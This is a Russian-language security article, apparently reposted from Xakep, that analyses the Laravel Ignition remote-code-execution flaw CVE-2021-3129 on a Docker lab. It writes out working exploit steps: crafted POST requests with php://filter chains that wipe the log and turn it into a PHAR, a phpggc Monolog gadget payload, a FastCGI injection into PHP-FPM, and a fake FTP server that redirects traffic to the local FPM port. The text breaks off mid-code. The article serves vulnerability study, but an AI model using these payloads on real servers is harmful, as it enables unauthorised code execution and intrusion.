JustPaste.it

Хакер - Уязвимость в Laravel. Разбираем эксплоит, который дает удаленное выполнение кода в популярном PHP-фреймворке

hacker_frei
6a6b2d499ee9b8d96aa99c296377642b.png

 

https://t.me/hacker_frei

aLLy 

Содержание статьи

  • Стенд
  • Детали уязвимости
  • Очищаем лог-файл
  • Укрощаем лог-файл
  • Эксплуатация через архив PHAR
  • Эксплуатация через FTP => PHP-FPM
  • Заключение

В биб­лиоте­ке Ignition, пос­тавля­емой с Laravel, обна­ружи­лась уяз­вимость, которая поз­воля­ет неав­торизо­ван­ным поль­зовате­лям выпол­нять про­изволь­ный код. В этой статье мы пос­мотрим, где раз­работ­чики Ignition допус­тили ошиб­ку, и раз­берем два метода ее экс­плу­ата­ции.

Биб­лиоте­ка Ignition нуж­на для кас­томиза­ции сооб­щений об ошиб­ках, что полез­но во вре­мя раз­работ­ки и отладки. Ignition дос­тупна и исполь­зует­ся в Laravel «из короб­ки», а так­же встре­чает­ся в дру­гих про­ектах.

Уяз­вимость воз­можна из‑за некор­рек­тной обра­бот­ки парамет­ров POST-зап­роса. Бла­года­ря это­му зло­умыш­ленник может отпра­вить про­изволь­ные дан­ные в качес­тве аргу­мен­тов фун­кций file_get_contents и file_put_contents. Спе­циаль­но сфор­мирован­ная цепоч­ка таких зап­росов при­водит к воз­можнос­ти выпол­нить код на целевой сис­теме.

INFO

Баг обна­ружил Чарльз Фол (Charles Fol) из Ambionics Security. Уяз­вимос­ти прис­воен иден­тифика­тор CVE-2021-3129 и кри­тичес­кий ста­тус, так как для успешной экс­плу­ата­ции не нуж­на авто­риза­ция. Баг при­сутс­тву­ет в Ignition 2.5.2 и ниже.

СТЕНД

В качес­тве стен­да будем исполь­зовать кон­тей­нер Docker на осно­ве Debian 10.

docker pull debian

docker run -ti --name="laravelrce" -p8080:80 debian /bin/bash

Ус­тановим необ­ходимые пакеты. В качес­тве веб‑сер­вера я буду исполь­зовать nginx.

apt update

apt install -y nano curl unzip nginx php-fpm php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-mysql php-cli php-zip php-curl php-pear php-dev python xxd libfcgi

За­тем нуж­но про­инстал­лировать Composer.

curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer

Че­рез него соз­дадим про­ект на осно­ве фрей­мвор­ка Laravel. Для удобс­тва помес­тим фай­лы в дирек­торию /var/www.

cd /var/www && rm -rf html && composer create-project laravel/laravel . "v8.4.2" && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json && composer update && mv public html

Те­перь отре­дак­тиру­ем кон­фиги nginx. Вклю­чаем обра­бот­ку скрип­тов PHP и нас­тра­иваем необ­ходимый для Laravel редирект.

sed -i -E 's|index index|index index.php index|g' /etc/nginx/sites-enabled/default

sed -i -E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\$query_string;|g' /etc/nginx/sites-enabled/default

sed -i -E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass 127.0.0.1:9000;\n\t}|g' /etc/nginx/sites-enabled/default

Ме­няем нас­трой­ку демона PHP-FPM, что­бы он работал по TCP и висел на 9000-м пор­те.

sed -i -E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/pool.d/www.conf

Для изу­чения деталей работы Ignition нам так­же пот­ребу­ется прос­тень­кий кон­трол­лер. Добавим роут test.

/var/www/routes/web.php

19: Route::get('/test', function () {

20: return view('test');

21: });

Те­перь нуж­но соз­дать view (пред­став­ление) это­го роута. Для опи­сания пред­став­лений в Laravel исполь­зует­ся шаб­лониза­тор Blade.

/www/resources/views/test.blade.php

<!DOCTYPE html>

<html>

<body>

Hello, {{ $name }}.

</body>

</html>

где $name — это перемен­ная, которую нуж­но передать во view.

С этим разоб­рались, оста­лось ска­чать сор­цы фрей­мвор­ка. Их мож­но взять пря­мо из Docker.

docker cp laravelrce:/var/www ./

Те­перь все готово и мож­но прис­тупать к раз­бору уяз­вимос­ти.

ДЕТАЛИ УЯЗВИМОСТИ

Для начала про­верим, вклю­чена ли Ignition. Мож­но отпра­вить зап­рос, для которо­го нет обра­бот­чика у кон­крет­ного роута. Нап­ример, неп­лохо работа­ет DELETE на index.php.

5c3ea93831ed2f182e0e49f8a0f6bee0.jpg

Бо­лее близ­ким к нашей уяз­вимос­ти будет такой зап­рос:

http://laravelrce.vh:8080/_ignition/execute-solution

2842627b143a239ebd82a5028589151a.jpg

Ес­ли видишь кра­сивую кар­тинку с сооб­щени­ем об ошиб­ке, как на скрин­шоте, — зна­чит, все идет по пла­ну. Помимо кас­томизи­рован­ных стра­ниц с сооб­щени­ем об ошиб­ке, Ignition поз­воля­ет соз­давать так называ­емые solutions. Это неболь­шие фраг­менты кода, они помога­ют решить проб­лемы, с которы­ми стал­кива­ются раз­работ­чики. Нап­ример, вер­немся к нашему роуту test. В шаб­лоне мы исполь­зуем перемен­ную $name, но не переда­ем ее, поэто­му Laravel вер­нет ошиб­ку.

b2df7652acc7a2f410f2091c32b4231c.jpg

Об­рати вни­мание на кноп­ку Make variable optional. При нажатии к сер­веру ухо­дит инте­рес­ный зап­рос.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"/var/www/resources/views/test.blade.php"}}

В парамет­ре solution ука­зыва­ется класс, который нуж­но выпол­нить. Шту­ка любопыт­ная, но ука­зать про­изволь­ный класс там не получит­ся, так как Ignition тре­бует, что­бы вызыва­емый класс реали­зовы­вал интерфейс RunnableSolution.

/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php

83: public function getSolutionForClass(string $solutionClass): ?Solution

84: {

85: if (! class_exists($solutionClass)) {

86: return null;

87: }

88:

89: if (! in_array(Solution::class, class_implements($solutionClass))) {

90: return null;

91: }

92:

93: return app($solutionClass);

94: }

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

8: class MakeViewVariableOptionalSolution implements RunnableSolution

Гля­нем код MakeViewVariableOptionalSolution, что­бы узнать, что он дела­ет. Сна­чала вызыва­ется метод makeOptional.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

65: public function run(array $parameters = [])

66: {

67: $output = $this->makeOptional($parameters);

Он чита­ет файл, путь до которо­го был передан в парамет­ре viewFile.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

73: public function makeOptional(array $parameters = [])

74: {

75: $originalContents = file_get_contents($parameters['viewFile']);

За­тем передан­ная в variableName перемен­ная изме­няет­ся с вида $name на $name ?? ''.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

76: $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

Пос­ле это­го идет про­вер­ка шаб­лона. Прог­рамма хочет убе­дить­ся, что струк­тура кода изме­нилась не боль­ше, чем ожи­далось.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

78: $originalTokens = token_get_all(Blade::compileString($originalContents));

79: $newTokens = token_get_all(Blade::compileString($newContents));

80:

81: $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

82:

83: if ($expectedTokens !== $newTokens) {

84: return false;

85: }

Ес­ли это не так, то makeOptional вер­нет false, в про­тив­ном слу­чае (вари­ант, ког­да все прош­ло глад­ко) содер­жимое шаб­лона переза­писы­вает­ся.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

73: public function makeOptional(array $parameters = [])

74: {

...

87: return $newContents;

88: }

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

65: public function run(array $parameters = [])

66: {

...

68: if ($output !== false) {

69: file_put_contents($parameters['viewFile'], $output);

70: }

Ес­ли отбро­сить все лиш­нее, то выпол­няет­ся прос­тое чте­ние и запись фай­ла.

75: $originalContents = file_get_contents($parameters['viewFile']);

69: file_put_contents($parameters['viewFile'], $output);

Пол­ным путем до фай­ла мож­но манипу­лиро­вать, прос­то изме­няя его в зап­росе. Но что это дает?

Пер­вое, что при­ходит в голову, — это исполь­зовать тех­нику экс­плу­ата­ции через десери­али­зацию в архи­ве PHAR. Для это­го нуж­но иметь воз­можность заг­ружать файл с про­изволь­ным содер­жимым и знать путь до это­го фай­ла в сис­теме.

Это иде­аль­ный вари­ант, и если такая воз­можность при­сутс­тву­ет в тво­ем слу­чае, то RCE у тебя в кар­мане. Одна­ко такой рас­клад не очень инте­ресен, поэто­му давай пос­мотрим, что мож­но сде­лать с дефол­тной кон­фигура­цией Laravel.

Здесь нам необ­ходимо обра­тить­ся к врап­перам PHP, а имен­но к php://filter. При помощи ком­бинации встро­енных филь­тров мож­но манипу­лиро­вать содер­жимым фай­ла до того, как оно будет исполь­зовано. Соз­дадим файл для тес­тирова­ния.

echo Hello | base64 | base64 > /tmp/test.file

cat /tmp/test.file

U0dWc2JHOEsK

d945e2ede620559406ef074c8805e9a1.jpg

Те­перь я соз­дал скрипт на PHP, где про­исхо­дят опе­рации чте­ния и записи фай­ла, ана­логич­ные исполь­зуемым в Ignition.

/tmp/test.php

<?php

$file = 'php://filter/convert.base64-decode/resource=/tmp/test.file';

// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode

$contents = file_get_contents($file);

// Выводим содержимое

var_dump($contents);

// Записываем содержимое в этот же локальный файл, предварительно обработав его той же функцией base64-decode

file_put_contents($file, $contents);

Пе­ремен­ная $file — это ана­лог viewFile, здесь содер­жится стро­ка пути. Этим парамет­ром мы можем манипу­лиро­вать.

К каж­дой стро­ке я добавил ком­мента­рий о том, что про­исхо­дит пос­ле ее выпол­нения. На выходе содер­жимое фай­ла будет Hello.

42a6f5e8f7b1be75b64c487f73c0be72.jpg

Та­ким обра­зом мож­но изме­нять содер­жимое фай­ла, манипу­лируя толь­ко путем до него. Здесь есть неболь­шая проб­лемка: филь­тр base64-decode отра­баты­вает дваж­ды. Но ее лег­ко решить: дос­таточ­но изме­нить конс­трук­ции вызова врап­пера.

echo Hello | base64 > /tmp/test.file

cat /tmp/test.file

SGVsbG8K

/tmp/test-onetime.php

<?php

$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.file';

// Читаем локальный файл, перед этим к его содержимому будет применен фильтр base64-decode

$contents = file_get_contents($file);

// Выводим содержимое

var_dump($contents);

// Записываем содержимое в этот же локальный файл, теперь содержимое не будет второй раз проходить через base64-decode

file_put_contents($file, $contents);

67799c8305afcfcbd86b68ce381917b0.jpg

ОЧИЩАЕМ ЛОГ-ФАЙЛ

Те­перь вер­немся к идее выпол­нения кода через десери­али­зацию архи­ва PHAR. Как я уже говорил, иде­аль­ный слу­чай — это ког­да есть воз­можность заг­ружать про­изволь­ные фай­лы и ты зна­ешь путь до них. В нашей уста­нов­ке такой рос­коши нет, но есть один файл, имя и путь которо­го доволь­но пред­ска­зуемы. Это собс­твен­ный лог‑файл фрей­мвор­ка Laravel. По дефол­ту он находит­ся в дирек­тории storage/logs. В него записы­вают­ся сооб­щения об ошиб­ках, вро­де тех, что кра­сиво показы­вает в бра­узе­ре Ignition.

5c6e0af42613c186556f7a2dfaffcef5.jpg

Пос­мотрим, что записы­вает­ся в лог при переда­че несущес­тву­юще­го пути в обра­бот­ке solution.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"THIS_FILE_DOESNT_EXISTS"}}

79a67486fad295844c142d01384d9db3.jpg

По­луча­ется, что я могу управлять частью содер­жимого лога, манипу­лируя перемен­ной viewFile. Иссле­дова­тель Чарльз Фол нашел спо­соб прев­ратить лог‑файл в пол­ноцен­ный архив PHAR с нуж­ным содер­жимым, исполь­зуя толь­ко манипу­ляции с набором филь­тров и цепоч­ку зап­росов. Давай пос­мотрим, как это мож­но сде­лать.

Вновь обра­тим­ся к филь­тру base64-decode. Пос­мотрим на осо­бен­ности его работы с сим­волами, которые не вхо­дят в алфа­вит кодиро­вания Base64.

echo Hello | base64 -w0 | cat <(echo -n ':;.-|') - <(echo '|-.;:') > /tmp/test.file

e9a726f6b048b3f87c1936ce62a6ba2b.jpg

Как видишь, они прос­то игно­риру­ются и про­изво­дит­ся декоди­рова­ние толь­ко кор­рек­тной стро­ки Base64. Но если попада­ется некор­рек­тная, то выводит­ся пре­дуп­режде­ние и воз­вра­щает­ся пус­тая стро­ка. Прос­той спо­соб сде­лать некор­рек­тным набор дан­ных — это добавить суф­фикс вырав­нивания (знак «рав­но») в середи­ну.

c522f51044e331d3848f5a9f8426d144.jpg

Этим трю­ком мож­но было бы очи­щать содер­жимое любого фай­ла, если бы не одно но — обра­бот­чики исклю­чений во фрей­мвор­ке. Ког­да филь­тр воз­вра­щает warning, Laravel его перех­ватыва­ет, записы­вает трейс в лог‑файл и прек­раща­ет выпол­нение скрип­та.

По­это­му нуж­но най­ти такой филь­тр, который не воз­вра­щает ошиб­ку, не воз­вра­щает кон­тента и при этом обра­щает­ся к нуж­ному фай­лу.

Для это­го пос­мотрим, какие филь­тры есть в текущей уста­нов­ке PHP.

php -r "print_r(stream_get_filters());"

b4a23ada84da8a07d34d20925f838d6f.jpg

Об­рати вни­мание на consumed, его опи­сание ты не най­дешь в докумен­тации. Поэто­му заг­лянем в ис­ходни­ки.

/ext/standard/filters.c

1626: /* {{{ consumed filter implementation */

1627: typedef struct _php_consumed_filter_data {

1628: size_t consumed;

1629: zend_off_t offset;

1630: uint8_t persistent;

1631: } php_consumed_filter_data;

...

1633: static php_stream_filter_status_t consumed_filter_filter(

...

1649: while ((bucket = buckets_in->head) != NULL) {

1650: php_stream_bucket_unlink(bucket);

1651: consumed += bucket->buflen;

1652: php_stream_bucket_append(buckets_out, bucket);

1653: }

Этот недоку­мен­тирован­ный филь­тр как раз дела­ет имен­но то, что нам нуж­но. Давай исполь­зуем его и про­верим резуль­тат.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"

}

}

887bf3b7208c05d924422ce46b02a8e3.jpg

Те­перь, ког­да у нас есть воз­можность очис­тить файл, пос­мотрим, как мож­но соз­дать архив PHAR.

УКРОЩАЕМ ЛОГ-ФАЙЛ

Рас­смот­рим струк­туру лог‑фай­ла. Отпра­вим зап­рос, который чита­ет несущес­тву­ющий файл.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"THIS_IS_SOME_STRING"

}

}

storage/logs/laravel.log

[2021-04-25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory at /var/www/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)

Ес­ли обоб­щить, то пер­вая стро­ка каж­дой такой записи име­ет сле­дующий вид:

[date][error_data]<filename>[error_data]<filename>[error_data]

Это при­водит нас к сле­дующей проб­леме. Как отбро­сить все ненуж­ные дан­ные и оста­вить толь­ко ту часть, которой мож­но манипу­лиро­вать? К счастью, в PHP име­ется мно­жес­тво филь­тров кон­верта­ции из раз­личных кодиро­вок. Все они име­ют пре­фикс convert.iconv.*.

Вос­поль­зуем­ся осо­бен­ностя­ми кодиров­ки UTF-16, а имен­но UTF-16LE (без мет­ки поряд­ка бай­тов). В ней сим­волы кодиру­ются двух­бай­товыми сло­вами. Обыч­ные сим­волы ASCII име­ют такой же вид, толь­ко к ним добав­ляет­ся байт \x00.

echo -n Hello | iconv -f ascii -t utf16le | xxd

> 00000000: 4800 6500 6c00 6c00 6f00 H.e.l.l.o.

cc4b9e13e8deefaa429bb26d0537199a.jpg

Те­перь соз­дадим файл, часть которо­го будет содер­жать стро­ку в кодиров­ке UTF-16LE, она и будет нашим пей­лоадом.

function teststring { echo -n Hello | iconv -f ascii -t utf16le; }

teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file

217982542b8e04ff4ca322dc491a5741.jpg

Да­лее вос­поль­зуем­ся филь­тром convert.iconv.utf16le.utf-8, который скон­верти­рует содер­жимое подопыт­ного фай­ла в UTF-8.

test-utf16utf8.php

<?php

$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.file';

$contents = file_get_contents($file);

var_dump($contents);

file_put_contents($file, $contents);

3f6c43814f93de3e6caf8edf49cb83a7.jpg

Как видишь, чита­емы­ми оста­лись толь­ко два пей­лоада. Столь­ко нам не нуж­но, а пос­коль­ку UTF-16 работа­ет с дву­мя бай­тами, то мож­но смес­тить вырав­нивание вто­рого пей­лоада, добавив в кон­це допол­нитель­ный байт.

echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F) | xxd

> 00000000: 4800 6500 6c00 6c00 6f00 46 H.e.l.l.o.F

function teststring { echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F); }

teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file

d05c5f5c14d3028467725f562cb01acc.jpg

Та­ким обра­зом сме­щаем обра­баты­ваемые кон­верто­ром пары бай­тов пос­ле пер­вого пей­лоада и в резуль­тате получим нуж­ную стро­ку.

d0a96b9bf729010c2f4fbd2a22fe6f6f.jpg

Ес­ли теперь исполь­зовать филь­тр base64-decode, то он отбро­сит все некор­рек­тные сим­волы и попыта­ется декоди­ровать толь­ко пей­лоад, что нам и нуж­но.

Од­нако здесь при­таилась еще одна проб­лемка. Так как пей­лоад будет переда­вать­ся в фун­кцию file_get_contents в качес­тве име­ни фай­ла, не получит­ся исполь­зовать null-бай­ты, которые необ­ходимы для пред­став­ления тек­ста в виде UTF-16.

Обой­ти это огра­ниче­ние нам вновь помога­ют филь­тры. Filters.covert.quoted-printable поз­воля­ет исполь­зовать null-бай­ты, пред­ста­вив их в виде =00.

function teststring { echo -n Hello | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F); }

teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file

php -r 'var_dump(file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.file"));'

8c4c090f4f750e3eba3583b86096aaa5.jpg

На этом эта­пе поч­ти все готово к экс­плу­ата­ции, но нас может под­сте­регать еще одна проб­лема. При­чина кро­ется все в тех же осо­бен­ностях кодиров­ки UTF-16 — раз­мер сим­вола в два бай­та. Если общий раз­мер лога будет нечет­ным, то филь­тр convert.iconv.utf-16le.utf-8 вер­нет пре­дуп­режде­ние.

25190d8bc6750f2c8b949fa7f7fde021.jpg

Как ты уже зна­ешь, Laravel обра­баты­вает все исклю­чения и прек­раща­ет выпол­нение скрип­та. Поэто­му для вырав­нивания мож­но добавить еще одну запись в лог‑файл при помощи все того же зап­роса с ука­зани­ем стро­ки нуж­ного раз­мера в качес­тве име­ни фай­ла в viewFile.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"AA"

}

}

ЭКСПЛУАТАЦИЯ ЧЕРЕЗ АРХИВ PHAR

Нас­тало вре­мя соб­рать всю цепоч­ку в пол­ноцен­ный экс­пло­ит. Для фор­мирова­ния пей­лоада пред­лагаю исполь­зовать phpggc. Это генера­тор цепочек гад­жетов для экс­плу­ата­ции десери­али­зации в PHP. Ути­лита в чис­ле про­чего может записы­вать резуль­тат в виде архи­ва PHAR.

В качес­тве гад­жета я буду исполь­зовать Monolog/RCE1, под­ходящая вер­сия это­го пакета как раз при­сутс­тву­ет в дефол­тной уста­нов­ке Laravel.

d36cbb395bf1a4c3f29a7e7cd042d3cc.jpg

php -d'phar.readonly=0' phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system id

Флаг fast-destruct поможет сра­зу вывес­ти резуль­тат коман­ды. Кон­верти­руем получен­ный архив в пей­лоад.

cat exploit.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F);

933687d29290fffec3700e0cd209f625.jpg

Прис­тупа­ем к экс­плу­ата­ции.

Сна­чала очис­тим лог‑файл.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"

}

}

Ес­ли необ­ходимо, отправ­ляем зап­рос для получе­ния кор­рек­тно­го, чет­ного раз­мера резуль­тиру­юще­го фай­ла. В моем слу­чае дос­таточ­но было двух бай­тов AA.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"AA"

}

}

Те­перь нас­тала оче­редь полез­ной наг­рузки. Но тут нас под­жида­ет еще одна заг­воз­дка. Трейс, который записы­вает­ся в лог‑файл, может быть раз­ным, и это может нам под­портить кор­рек­тную экс­плу­ата­цию. Это про­исхо­дит потому, что один из эле­мен­тов сте­ка отоб­ража­ет выпол­ненную фун­кцию, аргу­мент которой обре­зан до N пер­вых бай­тов.

0ab1bd933287419a603c01669bc68af8.jpg

На моей сис­теме это 15 (P=00D=009=00w=0). Ког­да филь­тр будет обра­баты­вать такую конс­трук­цию, он вер­нет исклю­чение invalid byte sequence, а ты уже зна­ешь, как пос­тупа­ет с исклю­чени­ями Laravel.

f5bbea7ffa5328812e372214f86d62d2.jpg

Что­бы избе­жать этой ошиб­ки, мож­но добавить необ­ходимое количес­тво любых сим­волов, которые декодер Base64 отбро­сит и не будет вос­при­нимать филь­тр quoted-printable-decode. Я исполь­зовал знак минус и прос­то добавил 16 (луч­ше при­дер­живать­ся чет­ного количес­тва!) таких сим­волов в начало пей­лоада.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: text/html

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"----------------P=00D=009=00w=00a=00H=00A=00...T=00U=00I=00F"

}

}

f158cb0f4d0c412d70f2f5a2e0990ddb.jpg

Сле­дующий шаг — кон­верта­ция лог‑фай­ла в валид­ный архив PHAR. Отправ­ляем зап­рос с уже зна­комым набором филь­тров.

POST /_ignition/execute-solution HTTP/1.1

Host: laravelrce.vh:8080

Accept: application/json

Content-Type: application/json

{

"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"name",

"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

}

}

Ес­ли сер­вер воз­вра­щает пус­той ответ с кодом 200, зна­чит, все идет по пла­ну.

75bed36e07ff7d2dba023e1ea758c5ff.jpg

Ну и наконец, оста­лось обра­тить­ся к получен­ному логу как к архи­ву PHAR, что­бы выпол­нить сге­нери­рован­ную полез­ную наг­рузку.

07ab40344babdf8df63c67d3bccea4dc.jpg

В отве­те видим резуль­тат работы коман­ды id.

Этот метод экс­плу­ата­ции хорош, но име­ет свои минусы, один из них — необ­ходимость знать путь до лога или любого дру­гого фай­ла, дос­тупно­го для записи в сис­теме. Что делать, если такого не ока­залось?

ЭКСПЛУАТАЦИЯ ЧЕРЕЗ FTP => PHP-FPM

Ес­ли пер­вый спо­соб экс­плу­ата­ции не сра­ботал или невоз­можен, то пред­лагаю разоб­рать­ся с еще одним вари­антом.

Для это­го нам понадо­бит­ся рас­смот­реть осо­бен­ности работы про­токо­ла FTP. Он может работать в активном или пас­сивном режиме, от это­го зависит спо­соб уста­нов­ки соеди­нения. В активном режиме кли­ент соз­дает соеди­нение с сер­вером и переда­ет ему свой IP-адрес и про­изволь­ный номер пор­та, на который ждет под­клю­чения. В пас­сивном режиме кли­ент отравля­ет коман­ду PASV и получа­ет от сер­вера IP-адрес и номер пор­та, которые затем исполь­зуют­ся кли­ентом для под­клю­чения. Фиш­ка в том, что эти дан­ные могут быть любыми, в том чис­ле IP-адрес может быть 127.0.0.1. Таким обра­зом мож­но под­клю­чать­ся к сер­висам, которые дос­тупны толь­ко из внут­ренней инфраструк­туры.

В моем тес­товом окру­жении есть демон PHP-FPM, который слу­шает порт 9000.

75c9496452d22eab8037d43f35246c00.jpg

Он работа­ет по про­токо­лу FastCGI, и к нему мож­но обра­щать­ся нап­рямую при помощи спе­циаль­но сфор­мирован­ных пакетов. Для это­го сущес­тву­ет мно­жес­тво ути­лит, нап­ример cgi-fcgi из биб­лиоте­ки libfcgi.

PAYLOAD="<?php system('id');"

FILENAME="/var/www/html/index.php"

B64=$(echo "$PAYLOAD"|base64)

env -i \

PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \

SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \

cgi-fcgi -bind -connect 127.0.0.1:9000 | head

284a09629803207ac2b16571154a45c6.jpg

Здесь FILENAME — абсо­лют­ный путь до сущес­тву­юще­го скрип­та. На самом деле его мож­но и не знать, глав­ное, что­бы рас­ширение было .php. Тут гораз­до важ­нее перемен­ная окру­жения PHP_VALUE, а имен­но опция auto_prepend_file. Эта дирек­тива пере­опре­деля­ет од­ноимен­ную из фай­ла кон­фигура­ции PHP. Все пос­леду­ющие вызовы на дан­ном вор­кере будут исполь­зовать эту нас­трой­ку. В ней ука­зыва­ется имя фай­ла, который авто­мати­чес­ки выпол­няет­ся перед основным. Я вос­поль­зовал­ся врап­перами и нап­рямую ука­зал код, который хочу выпол­нить. Пред­варитель­но закоди­ровал его в кодиров­ку Base64.

При экс­плу­ата­ции мне понадо­бит­ся более уни­вер­саль­ный пей­лоад. Для тес­та хорошо подой­дет php://input. Пос­ле успешной экс­плу­ата­ции все, что будет переда­но в теле зап­роса, обра­бота­ется интер­пре­тато­ром PHP.

Те­перь необ­ходимо получить содер­жимое пакета, который отправ­ляет­ся к PHP-FPM, что­бы уста­новить нуж­ные нас­трой­ки. Для этих целей мне приг­лянул­ся скрипт fpm.py за авторс­твом phith0n.

Я нем­ного модифи­циро­вал скрипт, что­бы он сох­ранял пакет в файл exploit.bin.

fcgi_packet_generator.py

187: with open("exploit.bin", "wb") as flr:

188: flr.write(request)

189: # self.sock.send(request)

190: # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND

191: # self.requests[requestId]['response'] = b''

192: # return self.__waitForResponse(requestId)

193: return True

...

253: 'PHP_VALUE': 'auto_prepend_file = php://input',

Ал­горитм дей­ствий будет сле­дующим.

  1. От­прав­ляем зап­рос, который обра­щает­ся к нашему FTP-сер­веру, для это­го прос­то исполь­зуем схе­му ftp://IP:PORT/filename.ext.
  2. Ад­рес сер­вера при­ходит в фун­кцию file_get_contents, и выпол­няет­ся под­клю­чение.
  3. Наш FTP-сер­вер получа­ет соеди­нение с зап­росом фай­ла и отве­чает, что может передать его в пас­сивном режиме. Для это­го нуж­но под­клю­чить­ся на опре­делен­ный хост и порт.
  4. На этом пор­те мы ожи­даем соеди­нения, что­бы передать сер­веру файл, содер­жащий полез­ную наг­рузку (наш exploit.bin).
  5. Тут выпол­нение фун­кции file_get_contents завер­шает­ся, и в перемен­ной $originalContents теперь содер­жится наш пей­лоад.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

  1. 73: public function makeOptional(array $parameters = [])
  2. 74: {
  3. 75: $originalContents = file_get_contents($parameters['viewFile']);
  4. За­тем нас­тупа­ет черед фун­кции file_put_contents. Она вновь под­клю­чает­ся к тому же самому FTP-сер­веру, толь­ко теперь для того, что­бы записать файл.
  5. На этот раз вой­дя в пас­сивный режим, отве­чаем кли­енту, что для того, что­бы передать содер­жимое для записи в файл, необ­ходимо под­клю­чить­ся к хос­ту 127.0.0.1 и пор­ту 9000. То есть к демону PHP-FPM.
  6. Кли­ент выпол­няет под­клю­чение и отправ­ляет содер­жимое exploit.bin, в котором лежит кор­рек­тный пакет FastCGI. Таким обра­зом полез­ная наг­рузка дос­тавля­ется в нуж­ное мес­то.

Те­перь оста­лось лишь реали­зовать этот алго­ритм на прак­тике.

В качес­тве FTP-сер­вера я взял скрипт fake_ftp.py Ива­на @dfyz Комаро­ва и добавил туда обра­бот­ку допол­нитель­ных команд и двух пос­ледова­тель­ных кон­нектов.

INFO

Скрипт был написан в рам­ках ре­шения тас­ка resonator на hxp CTF 2020.

fake_ftp.py

LOCAL_PORT = 9000

LOCAL_PORT_1 = 65123

HOST_FPM = '127,0,0,1'

HOST_VALID = '192.168.99.1'

HOST_VALID_FTP = '192,168,99,1'

...

elif cmd == b'PASV':

if first == True:

self._send(f'227 Entering passive mode ({HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode())

else:

